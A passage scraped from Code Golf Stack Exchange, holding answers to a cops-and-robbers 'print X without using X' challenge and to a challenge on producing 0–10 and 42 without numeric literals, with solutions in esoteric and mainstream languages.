([Cracked](https://codegolf.stackexchange.com/a/207608/96155)) ``` "aces' ``` This will more than likely get cracked, but I couldn't quite manage to make it harder. Hopefully this is difficult enough that it remains open for a little while. Update: 5 hours, I'll take it. My solution: > > `1`{15-}%135`{48+}%1`{66+}%1`{10-}%` > > > [Answer] # Ruby, Score: 7, [Cracked](https://codegolf.stackexchange.com/a/207613/6828) ``` p<.$a1s ``` Previous crack wasn't the intended one, so trying to head it off with another character. [Answer] # Befunge 93 (FBBI), score 15 ([Cracked](https://codegolf.stackexchange.com/a/207639)) ``` ,0123456789"~@! ``` Take two. Thanks to Befunge's limited instruction set, I expect you'll find out what I think is the only remaining way to get a non-0 value on the stack, but I don't expect you to enjoy using it. That said, it wasn't as bad as I was hoping. It should be possible to remove `:` and maybe some others too, but I'm not going to code it to verify by hand. Good crack, I'll post my solution here (as a TIO link, because the <pre> block didn't like it), which is along the same lines but more brute-forcey. It takes a `+` from the top left with `g` whenever it needs a new character, does some math to make that a `,`, and does a little more math to place it. Then it takes a copy of that comma and turns it into whatever character it needs, then rinses and repeats. [Try it online](https://tio.run/##rZS9DoMgFEZ3n4K5hDjYDpKm6Xs0LiRqujQu9fUpoPwIAlcLAwNczne4JLB@@H7GnrQNGRh7c45HSmtMxUQnOWE8VzPyx7162DoqiqawyquRVaJOMSPUxNnl9HpeATKEKEeTjAuUFeVZovVTS1Bqku3SrfMJfjJjm@LcY1k/npTN8xOdu607Z0PzyWG2e2O9@Vc@yGLPw@1DQROQzb7PpjemopAT2CzmZuwwvUgEKSkG8oqbKTf5mLWaSdmmwf1ShspRNE//haS04yHPtKn/RxR/79D7yfmrRTfUoGv3Aw) [Answer] # [Wolfram Language (Mathematica)](https://www.wolfram.com/wolframscript/), Score: 14, [cracked](https://codegolf.stackexchange.com/a/207668/81203) ``` Echo@Dt[0 & ] ``` [Answer] # [Mornington Crescent](https://github.com/padarom/esoterpret), Score: 5, [Cracked](https://codegolf.stackexchange.com/a/207764/68693) X = `7UBES` London's burning! A large amount of the Underground has been closed off while the authorities try to avert disaster. Amid hellfire, dare you enter... the 7UBES†? --- As for the language definition, consider it defined by the linked interpreter (This interpreter is also used on TIO). Note that the interpreter may not fully conform to [the language specification](https://esolangs.org/wiki/Mornington_Crescent), in particular not to the [forward compatibility](https://esolangs.org/wiki/Mornington_Crescent#Forward_compatibility) clause, as the interpreter is not maintained in parallel with infrastructural projects taking place in the Underground. --- While the lack of Upminster and Upney block the easiest ways, there are quite a few options left. My solution mostly depended on Manor House while ignoring Holland Park, in contrast to @pppery. ``` #First, place an int at Paddington, such that the string starts with our character instead of 'Paddington' Take Northern Line to Charing Cross #ACC: 67 Take Northern Line to Moorgate Take Circle Line to Moorgate Take Circle Line to Paddington #PAD: 67 ##Plan: get 120 #First, put 'Oxford Circus' on Gunnersbury Take Circle Line to Victoria Take Victoria Line to Oxford Circus Take Victoria Line to Victoria Take Victoria Line to Victoria Take District Line to Gunnersbury #Now, get 2 Take District Line to Acton Town Take Piccadilly Line to Heathrow Terminals 1, 2, 3 Take Piccadilly Line to Acton Town Take District Line to Acton Town Take District Line to Parsons Green Take District Line to Parsons Green Take District Line to Parsons Green #Get 'x...' Take District Line to Gunnersbury #ACC: 'Ox' Take District Line to Acton Town Take District Line to Acton Town Take Piccadilly Line to Turnpike Lane Take Piccadilly Line to Turnpike Lane #Get 120 Take Piccadilly Line to Holborn Take Central Line to Holborn Take Central Line to Tottenham Court Road Take Central Line to Tottenham Court Road Take Northern Line to Charing Cross Take Northern Line to Charing Cross #ACC: 120 #Move to PR Take Northern Line to Moorgate Take Circle Line to Moorgate Take Metropolitan Line to Preston Road #PR: 120 #get 65 Take Metropolitan Line to Amersham Take Metropolitan Line to Moorgate Take Circle Line to Moorgate Take Northern Line to Charing Cross Take Northern Line to Charing Cross Take Northern Line to Moorgate Take Circle Line to Moorgate #get '7' Take Metropolitan Line to Preston Road #ACC:55 PR:65 Take Metropolitan Line to Moorgate Take Circle Line to Moorgate Take Northern Line to Charing Cross Take Northern Line to Charing Cross Take Northern Line to Moorgate Take Northern Line to Moorgate Take Circle Line to Paddington #PAD: '7' ##Plan: get 85 #get 4 Take District Line to Parsons Green #int from Pad triggers swap Take District Line to Parsons Green #ACC: 3 Take District Line to Wimbledon #Wi: 3 Take District Line to Acton Town Take Piccadilly Line to Heathrow Terminal 4 Take Piccadilly Line to Acton Town Take District Line to Acton Town Take District Line to Parsons Green #ACC: 4 #put 4 at MH Take District Line to Acton Town Take District Line to Acton Town Take Piccadilly Line to Manor House #get 81 Take Piccadilly Line to Holborn Take Central Line to Queensway Take Central Line to Tottenham Court Road Take Central Line to Tottenham Court Road Take Northern Line to Charing Cross Take Northern Line to Charing Cross #ACC: 81 # ~~(81 | 4) == 85 Take Northern Line to Tottenham Court Road Take Central Line to Tottenham Court Road Take Central Line to Holborn Take Central Line to Holborn Take Piccadilly Line to Manor House #ACC: ~85, nor: 81 Take Piccadilly Line to Holborn Take Central Line to Holborn Take Central Line to Notting Hill Gate Take Central Line to Notting Hill Gate #ACC: 85 #get 'U' Take Circle Line to Moorgate Take Circle Line to Moorgate Take Northern Line to Charing Cross Take Northern Line to Charing Cross #ACC: 'U' #concat 'U' Take Northern Line to Moorgate Take Circle Line to Moorgate Take Circle Line to Paddington Take Circle Line to Paddington #PAD: '7U' ##Plan: Get 66 #get 32 Take District Line to Parsons Green #ACC: 7 Take District Line to Gunnersbury #Gu: 7 Take District Line to Richmond #Ri: 2 Take District Line to Acton Town Take Piccadilly Line to Covent Garden Take Piccadilly Line to Acton Town Take District Line to Acton Town Take District Line to Gunnersbury #ACC: 'Covent ' Take District Line to Acton Town Take District Line to Acton Town Take Piccadilly Line to Turnpike Lane Take Piccadilly Line to Turnpike Lane Take Piccadilly Line to Holborn Take Central Line to Holborn Take Central Line to Tottenham Court Road Take Central Line to Tottenham Court Road Take Northern Line to Charing Cross Take Northern Line to Charing Cross #ACC: 32 #Get 64 Take Northern Line to Moorgate Take Northern Line to Moorgate Take Metropolitan Line to Chalfont & Latimer Take Metropolitan Line to Moorgate Take Circle Line to Temple Take District Line to Richmond #ACC: 2 Take District Line to Temple Take Circle Line to Moorgate Take Circle Line to Moorgate Take Metropolitan Line to Chalfont & Latimer #ACC: 64, tim: 2 # ~~(64 | 2) == 66 Take Metropolitan Line to Rayners Lane Take Metropolitan Line to Chalfont & Latimer Take Metropolitan Line to Rayners Lane Take Metropolitan Line to Rayners Lane Take Piccadilly Line to Oakwood Take Piccadilly Line to Manor House Take Piccadilly Line to Oakwood #Oak: 81 Take Piccadilly Line to Manor House Take Piccadilly Line to Rayners Lane Take Piccadilly Line to Manor House #ACC: ~66, nor: 64 Take Piccadilly Line to Holborn Take Central Line to Holborn Take Central Line to Notting Hill Gate Take Central Line to Notting Hill Gate #ACC: 66 #get 'B' Take Circle Line to Moorgate Take Circle Line to Moorgate Take Northern Line to Charing Cross Take Northern Line to Charing Cross #concat 'B' Take Northern Line to Moorgate Take Circle Line to Moorgate Take Circle Line to Paddington Take Circle Line to Paddington #PAD: '7UB' ##Plan: get 69 #Get 5 Take District Line to Acton Town Take Piccadilly Line to Heathrow Terminal 5 Take Piccadilly Line to Acton Town Take Piccadilly Line to Acton Town Take District Line to Parsons Green #ACC: 5 # ~~(64 | 5) == 69 Take District Line to Acton Town Take District Line to Acton Town Take Piccadilly Line to Manor House #ACC: ~69, nor: 5 Take Piccadilly Line to Holborn Take Central Line to Holborn Take Central Line to Notting Hill Gate Take Central Line to Notting Hill Gate #ACC: 69 #get 'E' Take Circle Line to Moorgate Take Circle Line to Moorgate Take Northern Line to Charing Cross Take Northern Line to Charing Cross #concat 'E' Take Northern Line to Moorgate Take Circle Line to Moorgate Take Circle Line to Paddington Take Circle Line to Paddington #PAD: '7UBE' ##Plan: get 83 #Place 81 at nor Take District Line to Acton Town Take Piccadilly Line to Manor House #nor: 'B7UB' Take Piccadilly Line to Oakwood #ACC: 81, Oak: 5 Take Piccadilly Line to Manor House #nor: 81 #get 2 == 65 % 3 Take Piccadilly Line to Acton Town Take District Line to Wimbledon #ACC: 3 Take District Line to Temple Take Circle Line to Moorgate Take Circle Line to Moorgate Take Metropolitan Line to Preston Road #ACC: 2 # ~~(81 | 2) == 83 Take Metropolitan Line to Rayners Lane Take Metropolitan Line to Rayners Lane Take Piccadilly Line to Manor House #ACC ~83 Take Piccadilly Line to Holborn Take Central Line to Holborn Take Central Line to Notting Hill Gate Take Central Line to Notting Hill Gate #ACC: 83 #get 'S' Take Circle Line to Moorgate Take Circle Line to Moorgate Take Northern Line to Charing Cross Take Northern Line to Charing Cross #concat 'S' Take Northern Line to Moorgate Take Circle Line to Moorgate Take Circle Line to Paddington #PAD: '7UBES' Take Circle Line to Moorgate Take Circle Line to Moorgate Take Northern Line to Mornington Crescent ``` [Try it online! (without comments)](https://tio.run/##7VjBctpADL33K3TqKTm0aT4g487AISSE8aTnxVbinaxXjHYdwtenohADiQn2YghMOcJ7K0ta6Ul2Tmy1ffRkzxNGl6D1r6@xekK4IfYZsoVrbRE8QZQpFipETM59q@b0iPhReZzBkebEYD2wr9J05kglfK8TT6zVDHz7VcK3Lw/E6b9DhVvD2WBiFf6tnWf5p4Q7hbXIbljwZA3jSs5biGk8j6Cvk0Sl2phJSemi8hnTGGLkXFtlHPw4g59ncLH2yHurGx/7gdBX7Mg66DDirjnNsxSSxrhgO9KCXSuLW7K6ZIbSA/Oik/JnZeqBMXmPNlM5RFSwhwGptCkzqMlabsQeeqYRGe3V4nxfxGB6DwtXK2lXudy2BPYJpYEnx56Nwwu1WSbea/DOZOKPzocGU7ItSin8@mINbUPZesoSi@wULlCx7gpx0I3V5Ag1qw3nGin4CriL2/gUvJEgpinpij3oLHqyJq3BbnV4Ktts@WtFlzavJgOdZDnZNLx9I3qW25Nb4hTtDuXotGYd5Jq1Aa7cGeQp5oGkaL5LAr2WfSp0wYgxHxkMq@3ls@HKsn2AAzWZFvZSLe3N5kdaRRnfqqcxUbrVxJjbgK2M1PJ2yRAc0ACD/3mCQZsr72XtGRMyhlamKuxn6z3V6fHXaa3rbKKCEF7D5Zsm7H/yLX81gD0NqFMrfUErtR9dr/wsL86/fZb/Cw "Mornington Crescent – Try It Online") †: Pardon me for the 1337-speak, my options are limited: each valid program in this language ends with `Take Northern Line to Mornington Crescent`. [Answer] # BBC Basic II, Score: 2, [Cracked](https://codegolf.stackexchange.com/questions/207560/print-x-without-x-robbers-thread/207804#207804) One more example in a "non-golfing" language: > > VP > > > (I tested my program on an Acorn BBC model B emulator and on an Acorn Archimedes emulator. However, according to the BBC Basic manual I found in the internet, it should work on "modern" BBC Basic versions for the PC, too.) --- My solution: The solution in the [crack](https://codegolf.stackexchange.com/questions/207560/print-x-without-x-robbers-thread/207804#207804) directly writes to the display memory of the BBC model B. This means that the solution would not work on an Archimedes, an x86-based machine or on a second CPU (tube) of a BBC. My solution uses a special feature of BBC Basic: > > On 6502-based computers (like the BBC), the `CALL` command calls some assembly function located at a certain address. The value in the variable `A%` is written to the `A` register before calling the function. > > > > On non-6502 systems (ARM or x86), the `CALL` command normally works in a similar way; however, if the parameter is the address of an operating system routine of the 6502 operating system, the BASIC does not interpret the argument as address of an ARM or x86 assembly language routine. Instead, the `CALL` command will more or less emulate a call to the OS of a 6502-based computer for such arguments. > > > > For this reason `CALL 65518` will always write the byte represented by the value in variable `A%` to the "standard output" - even on ARM-based computers where `65518` is not a valid code address! > > > Using this feature, the solution is quite simple: > > `10 A%=80` > > `20 CALL 65518` > > `30 A%=86` > > `40 CALL 65518` > > > [Answer] # [R](https://www.r-project.org/), Score=30, safe ``` t <- "$&0123456789=?[\\^`lv{|" ``` A trickier version of my [previous challenge](https://codegolf.stackexchange.com/a/207696/86301), which Dominic van Essen [cracked](https://codegolf.stackexchange.com/a/207700/86301) in a few hours. Without `t` you cannot easily use `get` or `cat`, and without `l` you cannot use `ls`, `eval`, `do.call` or `el`. Hopefully this time you will have to come closer to my intended solution! --- Solution : The key is to use the function `dump` to print. This function produces a text representation of objects, i.e. R code to recreate the objects. All we need to do is assign to `t` the character string `"$&0123456789=?[\\^lv{|"`, and then use `dump('t','')`. This requires two tricks. First, to create strings, we shall use `rawToChar(as.raw(NNN))` where `NNN` is the ASCII code of the characters. Such integers can be created with `T+T+T+...+T`. Second, since we cannot assign using `=`, `<-` or `->`, we use the function `assign`. Conveniently, this requires the object name to be given as a string, so we can also define the object name with `rawToChar(as.raw(NNN))`. In order to make the solution more readable, I have added spaces and newlines, and I have written the integers directly rather than as `T+T+T+...+T`. The TIO gives the complete solution. ``` assign(rawToChar(as.raw(116)), rawToChar(as.raw(c(36, 38, 48:57, 61, 63, 91, 92, 94, 96, 108, 118, 123, 124)))) dump(rawToChar(as.raw(116)), '') ``` [Try it online!](https://tio.run/##K/r/P7G4ODM9T6MosTwk3zkjsUgjsVgPyNEwNDTT1NTBEE7W0AjRhkNNLS0QV1MHmyCIrYOmHJkHFtG00kAVw6IG0wJ0JVBlxKmCuAtThihTCZpNmmrydKDogqmFBjtyYGFKaWMxVic9MTc3UQNLIOGSAMWbpqZ1SmluAa6Eo66u@f8/AA) [Answer] # [Stack Cats](https://github.com/m-ender/stackcats), Score: 3, Safe ``` )*( ``` All Stack Cats programs are symmetrical, and the reflection of a command undoes the original. As a result, every program with an even length either runs forever or does some work, then immediately undoes that work, and devolves into a `cat` program. The only way to write something else is to use an odd number of characters and let the center give structure to the rest of the code. If you want to run the code `xyz`, the easiest approach is to use a structure like `<(zyx)*(xyz)>`, which completely skips the first half. This is boring, so I’ve made that construction impossible. Naturally, the output is also symmetrical :) ## Solution: ``` _+!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_[!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_]_:_[_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!]_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!_!+_ ``` [Try it online!](https://tio.run/##Ky5JTM5OTiwp/v8/XlsxfuBg9EBaPhRhbLxVfPRoOJAGYwfScu34//8B "Stack Cats – Try It Online") ## Explanation: For this explanation, `s[0]` is the top of a stack, `s[1]` is the element below `s[0]`, and a stack is written `[top, middle, bottom]` Here's what the stack looks like after each step. I’ll use a number to represent how many `!_` / `_!` pairs are used: ``` _+ # [0, 0, 1] 62 # [62, 0, 1] [152] # [214, 0, 1] _:_ # [-214, -214, 1] [152] # [-366, -214, 1] 62 # [12840, -214, 1] +_ # [-215, -214, 12840] ``` This approach is mostly built around `!_` and its reflection `_!`. `_` sets `s[0] = s[1] - s[0]`, and `!` sets `s[0]` to its bitwise negation. When `s[1]` is 0, `!_` increments the top of the stack and `_!` decrements it. In the first half of the program, `[` moves the top element to a different stack and continues incrementing it there, then `]` moves it back. By itself, this is pointless, but those characters are important in the second half. The code increments the top of the stack 214 times (62 + 152). In the center, `_:_` negates the top of the stack and sets `s[1] = s[0]`. `[152]` moves the top element to its own stack, decrements it 152 times, then puts it back on the primary stack. Now that the stack has a nonzero `s[1]`, `_!` no longer decrements the top, but sets `s[0] = !(-214 - s[0])` 62 times. Once the program ends, the stack has the values `[-215, -214, 12840]`. These are output mod 256, giving `[41, 42, 40]`, which in ASCII makes `)*(` [Answer] # Scala, score: 2 [Cracked](https://codegolf.stackexchange.com/a/207572/95792) ``` (. ``` Shouldn't be too hard to crack. Edit: Guess I was right :/ The [code](https://scastie.scala-lang.org/0oge1IgHRZ6MfAH2wmA2gg) I used: > > > ``` > > object Main extends App { > def f: String => Unit = println _ > this f "\u0028\u002e" > } > ``` > > > > [Answer] # Ruby, score 6, [cracked by @nthistle](https://codegolf.stackexchange.com/a/207581/6828) ``` p<.$a1 ``` Not intended to output via error, although I also don't think it's possible to do so without a lot of other characters. [Answer] # Befunge 98, Score: 4, [cracked](https://codegolf.stackexchange.com/a/207607/46076) ``` =sp, ``` Trying to prove ovs' claim that "I don't think this can be made harder in Befunge" wrong. (This answer may still be too easy, but I can say for sure that it is harder than the other one, because I've blocked both self-modifying code operators) Intended solution: > > `"PAMI"4('+1+'o1+'r1+'<1+'+1+'ZMZZZZ@` > > > [Answer] # [R](https://www.r-project.org/), Score=23 [cracked](https://codegolf.stackexchange.com/a/207647/86301) by Robin Ryder ``` 0123456789+-*/^!&|%`()$ ``` This has a worse score than [Robin Ryder's currently-latest R challenge](https://codegolf.stackexchange.com/questions/207558/print-x-without-x-cops-thread/207615#207615), but if you crack this you'll probably crack his one, too. [Answer] # Java, Score: 3 ([Cracked](https://codegolf.stackexchange.com/questions/207560/print-x-without-x-robbers-thread/207702#207702)) ``` .\ ``` Round two for this solution, fixing the previous crack. As with the original, the output from my solution was to standard error. [Answer] # [APL (Dyalog Unicode)](https://www.dyalog.com/), Score: 5, [cracked](https://codegolf.stackexchange.com/a/207786/78410) ``` uvUV┼ ``` Can you generate the Unicode box-drawing character `U+253C` or `⎕UCS 9532` without `⎕UCS` or `⎕AV`? Any system variable setting (`⎕IO`, `⎕ML`, etc.) can be used. The code should work in TIO's code section, so SALT (and user command) is not available. Since there is no trailing newline in the expected output, use `⍞`-printing (which prints to STDERR). [Answer] ## Perl 5, Score: 80, [Cracked](https://codegolf.stackexchange.com/questions/207560/print-x-without-x-robbers-thread/207814#207814) ``` !"'*+,-0123456789:;<?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\^`abcdefghijklmnopqrstuvwxyz{|~ ``` This means that the following printable ASCII characters are permitted: ``` #$%&()./=>[]_} ``` Inspired by Dom Hastings's challenges ([1](https://codegolf.stackexchange.com/a/207618), [2](https://codegolf.stackexchange.com/a/207673), [3](https://codegolf.stackexchange.com/a/207698)) and my solutions ([1](https://codegolf.stackexchange.com/questions/207560/print-x-without-x-robbers-thread/207671#207671), [2](https://codegolf.stackexchange.com/questions/207560/print-x-without-x-robbers-thread/207688#207688), [3](https://codegolf.stackexchange.com/questions/207560/print-x-without-x-robbers-thread/207718#207718)). [Answer] # [Malbolge](https://github.com/TryItOnline/malbolge), score: 2, [Cracked](https://codegolf.stackexchange.com/a/208925/95679) ``` To ``` In Malbolge, the "print X" part of the challenge should be hard enough by itself. --- Original solution: > > `('&%$#"!~}|{2V0w.R?` > > > > > [Try it online!](https://tio.run/##y03MScrPSU/9/19DXU1VRVlJsa62ptoozKBcL8j@/38A) > > > ]
[Question] [ If you like this, consider participating in: * The [Official Dyalog APL 2016 Year Game](https://codegolf.stackexchange.com/q/70361/43319) * The monthly [Dyalog APL 2017 Code Golf Challenge](http://www.dyalog.com/2017-code-golf-challenge.htm) --- Make 12 **snippets/expressions**, in the same language, that result in the numbers 0 through 10, and 42 respectively, but without writing any literal numeric, string, or character data. Build-in data, like `PI()` and `ALPHABET()`, are fine, and so are e.g. CJam's U, X, Y, Z, and A constants, and Processing's BLEND, CHORD, CENTER, BREAK, and LINES. Every snippet must be able to stand on its own, i.e. they may not be interdependent. However, inside a single snippet, you may assign a variable and use it freely, as long as you refer to it directly by name, and not through a string containing its name. All the snippets must be valid on the submitter’s computer at the time of submission (as reported by SE), but may not rely on unusual local conditions like number of files in a directory, the exact date or time, or specific input from the user. ### Examples of valid snippets 3: `INT(LOG10(YEAR(TODAY())))` because it remains true in the foreseeable future 4: `CUBICROOT(LEN(CHARACTERSET()))` because a 256 letter character set is very common 8: `SQRT(SYSTEMTYPE())` because 64-bit systems are very common ### Examples of invalid snippets 5: `LEN(USERNAME())` because most people do not use “Admin” as login :-) 9: `LOG10(SYSTEMMEMORY())` because it only works on systems with exactly 1 GB of memory 42: `CODE("*")` because it contains a string/character literal The result of each snippet must result in an actual number (value, int, float, etc.) that can be used for further calculations using the same language as the snippet, i.e not a text string representing that number. Only character based languages allowed. Score is total byte count of all the 12 snippets combined. Newlines separating the snippets are not counted in. Note that the above rules may prevent some languages from participating, even if they are Turing complete. ### FAQ **Q** Can the programs accept any input? **A** Yes, but you may not just ask for input and enter the relevant number. **Q** Are physical digits (non-data) digits allowed? **A** Yes, e.g. `LOG10()`. **Q** Do Symbols in Ruby count as literals? **A** Yes. **Q** Does score include newlines between each snippet? **A** No. **Q** Is TI-BASIC "character based" enough to be valid? **A** Yes. **Q** Do false and true count as number literals? **A** No, they are acceptable. **Q** Can we use a number literal to call a function if that's the only way and the number doesn't influence the output of the function? **A** Yes, if that is the normal way to write code in your language. **Q** My language assumes there is a [something] at the start of each program/expression. Must I include it, or should my snippets just work if placed in the middle of a program/expression? **A** They should just work in the middle of a program/expression. **Q** What about regex literals? **A** Forbidden, except for languages that only do regexes. **Q** Is one piece of code that could print all the specified numbers acceptable? **A** No, they have to be separate and mutually independent. **Q** May I assume a boilerplate like `int main() {}...` or equivalent? **A** Yes. **Q** What output datatypes are allowed? **A** Any numeric datatype, like int, float, etc. **Q** Do I need to print the result of each snippet? **A** No, making the result available for subsequent use is enough. **Q** Are pre-set variables allowed? **A** Yes, and they become reset (if changed) for every snippet. **Q** Are π and *e* considered number literals? **A** No, you may use them. **Q** May I return 4 and 2 in different cells for 42? **A** No, they must be connected as one number. **Q** Bytes or characters? **A** Bytes, but you may choose any desired codepage. **Q** May constant functions and preset variables like J's `9:`, Actually's `9`, and Pretzel's `9` be used? **A** Yes, if the vocabulary is finite (19 for J, 10 for Actually and Pretzel). [Answer] # [Funciton](http://esolangs.org/wiki/Funciton), 1222 bytes Apart from numeric literals, there are two ways I can produce a value (any value at all) in Funciton: stdin and lambda expressions. Stdin is a single box while a full lambda expression requires more syntax, so I’m going with stdin. However, while stdin could be anything, all of the following work regardless of what input is provided. All of the library functions used here existed before the challenge was posted. ## 0 (40 bytes in UTF-16) ``` ╔╗┌┐ ║╟┤└┼┬┐ ╚╝└─┘└┘ ``` This uses the raw syntax for less-than. A value is never less than itself, so the result of this is 0. ## 1 (52 bytes in UTF-16) ``` ╔╗┌─╖┌─╖ ║╟┤⌑╟┤ɕ╟ ╚╝╘═╝╘═╝ ``` `⌑` returns a lazy sequence containing a single element and `ɕ` counts the number of elements. (The lazy sequence is lazy enough that this snippet doesn’t actually evaluate stdin at all!) ## 2 (70 bytes in UTF-16) ``` ╔╗┌─╖┌─╖┌─╖ ║╟┤⌑╟┤ʂ╟┤ɕ╟ ╚╝╘═╝╘═╝╘═╝ ``` = 2¹. `ʂ` generates all subsequences of a sequence, and thus turns a sequence of *n* elements into one with 2ⁿ. ## 3 (88 bytes in UTF-16) ``` ╔╗┌─╖┌─╖┌─╖┌─╖ ║╟┤⌑╟┤ʂ╟┤ɕ╟┤♯╟ ╚╝╘═╝╘═╝╘═╝╘═╝ ``` = 2 + 1. `♯` increments a value by 1. ## 4 (88 bytes in UTF-16) ``` ╔╗┌─╖┌─╖┌─╖┌─╖ ║╟┤⌑╟┤ʂ╟┤ʂ╟┤ɕ╟ ╚╝╘═╝╘═╝╘═╝╘═╝ ``` = 2². ## 5 (106 bytes in UTF-16) ``` ╔╗┌─╖┌─╖┌─╖┌─╖┌─╖ ║╟┤⌑╟┤ʂ╟┤ʂ╟┤ɕ╟┤♯╟ ╚╝╘═╝╘═╝╘═╝╘═╝╘═╝ ``` = 4 + 1. ## 6 (106 bytes in UTF-16) ``` ╔╗┌─╖┌─╖┌─╖┌─╖┌─╖ ║╟┤⌑╟┤ʂ╟┤ɕ╟┤♯╟┤!╟ ╚╝╘═╝╘═╝╘═╝╘═╝╘═╝ ``` = 3 factorial. ## 7 (110 bytes in UTF-16) ``` ┌───┐┌─╖┌─╖┌─╖╔╗ │┌─╖├┤ɕ╟┤ʂ╟┤⌑╟╢║ └┤A╟┘╘═╝╘═╝╘═╝╚╝ ╘╤╝ ``` = A(2, 2) (Ackermann function). ## 8 (118 bytes in UTF-16) ``` ┌────┐┌─╖┌─╖┌─╖╔╗ │┌──╖├┤ɕ╟┤ʂ╟┤⌑╟╢║ └┤<<╟┘╘═╝╘═╝╘═╝╚╝ ╘╤═╝ ``` = 2 << 2 (shift-left). ## 9 (128 bytes in UTF-16) ``` ┌───┐┌─╖┌─╖┌─╖┌─╖╔╗ │┌─╖├┤♯╟┤ɕ╟┤ʂ╟┤⌑╟╢║ └┤×╟┘╘═╝╘═╝╘═╝╘═╝╚╝ ╘╤╝ ``` = 3 × 3. ## 10 (146 bytes in UTF-16) ``` ┌───┐┌─╖┌─╖┌─╖┌─╖┌─╖╔╗ │┌─╖├┤♯╟┤ɕ╟┤ʂ╟┤ʂ╟┤⌑╟╢║ └┤+╟┘╘═╝╘═╝╘═╝╘═╝╘═╝╚╝ ╘╤╝ ``` = 5 + 5. ## 42 (170 bytes in UTF-16) ``` ┌──────┐┌─╖┌─╖┌─╖┌─╖┌─╖╔╗ │┌─╖┌─╖├┤!╟┤♯╟┤ɕ╟┤ʂ╟┤⌑╟╢║ └┤♯╟┤×╟┘╘═╝╘═╝╘═╝╘═╝╘═╝╚╝ ╘═╝╘╤╝ ``` = 6 × (6 + 1). [Answer] # JavaScript, ~~144~~ ~~141~~ ~~140~~ ~~138~~ ~~132~~ ~~125~~ 123 bytes *With help from [@edc65](https://codegolf.stackexchange.com/users/21348/edc65), [@Sjoerd Job Postmus](https://codegolf.stackexchange.com/users/46690/sjoerd-job-postmus), [@DocMax](https://codegolf.stackexchange.com/users/1772/docmax), [@usandfriends](https://codegolf.stackexchange.com/users/39042/usandfriends), [@Charlie Wynn](https://codegolf.stackexchange.com/users/50053/charlie-wynn) and [@Mwr247](https://codegolf.stackexchange.com/users/30793/mwr247)!* ``` result.textContent = [ +[] ,// 0 (3 bytes) -~[] ,// 1 (4 bytes) -~-~[] ,// 2 (6 bytes) -~-~-~[] ,// 3 (8 bytes) -~Math.PI ,// 4 (9 bytes) -~-~Math.PI ,// 5 (11 bytes) -~-~-~Math.PI ,// 6 (13 bytes) Date.length ,// 7 (11 bytes) (a=-~-~[])<<a ,// 8 (13 bytes) = (2 << 2) (a=~Math.E)*a ,// 9 (13 bytes) = (-3 * -3) (a=-~-~[])<<a|a ,// 10 (15 bytes) = ((2 << 2) | 2) (a=Date.length)*--a // 42 (19 bytes) = (7 * 6) ]; ``` ``` <pre id="result"></pre> ``` [Answer] # [Hexagony](http://github.com/mbuettner/hexagony), 13 bytes ``` 1 2 3 4 5 6 7 8 9 10 42 ``` [Try it online!](http://hexagony.tryitonline.net/) In Hexagony, `0` through `9` are **functions** that multiply the current memory by 10, and then add the number represented by the function name. Therefore, the first snippet is empty as memories start off as `0`. For example, if the current memory is `65`, executing the function `3` will make the current memory `653`. (To downvoters: downvote all you want; I am ready.) [Answer] # [Mouse-2002](https://github.com/catb0t/mouse2002), ~~27~~ ~~26~~ ~~17~~ 14 bytes The first snippets push 0-10, and `ZR+` pushes `25` then `17` and `25 17 + 42 =` is `1`. ``` A B C D E F G H I J K ZR+ ``` [Answer] # CJam, ~~27~~ 24 bytes ``` U e# 0 X e# 1 Y e# 2 Z e# 3 Z) e# 3 + 1 YZ+ e# 2 + 3 ZZ+ e# 3 + 3 AZ- e# 10 - 3 YZ# e# 2³ A( e# 10 - 1 A e# 10 EZ* e# 14 × 3 ``` *Thanks to @MartinBüttner for -1 byte!* [Try it online!](http://cjam.tryitonline.net/#code=VSBYIFkgWiBaKSBZWisgWlorIEFaLSBZWiMgQSggQSBFWioKCl1gIGUjIFByaW50IGFzIGxpc3QuCg&input=) [Answer] # Brainfuck, 70 bytes ``` + ++ +++ ++++ +++++ ++++++ +++++++ ++++++++ +++++++++ ++++++++++ --[>+<++++++]>- ``` Each line must be run individually. The first 10 are self explanatory: we increment the value of the cell via each plus. The 42 is a lot more complex. It relies on the fact the most brainfuck interpreter use 8-bit cells, meaning that all operations on it are done modulo 256. The `--` sets cell #0 to 254. Then we enter a loop which runs until cell #0 is 0. Each iteration adds 1 to cell #1 and adds 6 to cell #0. This loops runs 43 times, so cell #1 is 43. Finally, we subtract 1 from cell #1 to make it 42. I got the most efficient 42 ever found from <http://esolangs.org/wiki/Brainfuck_constants> [Answer] ## [Darkness](https://github.com/sweerpotato/Darkness), 339 303 bytes This is where Darkness really *shines*. Get it? :~)! **Without printing** (replaced the space with `\s` in the first line since it won't show otherwise): ``` \s █ ██ ███ ████ █████ ██████ ███████ ████████ █████████ ██████████ ██████████████████████████████████████████ ``` **With printing:** ``` ■ █■ ██■ ███■ ████■ █████■ ██████■ ███████■ ████████■ █████████■ ██████████■ 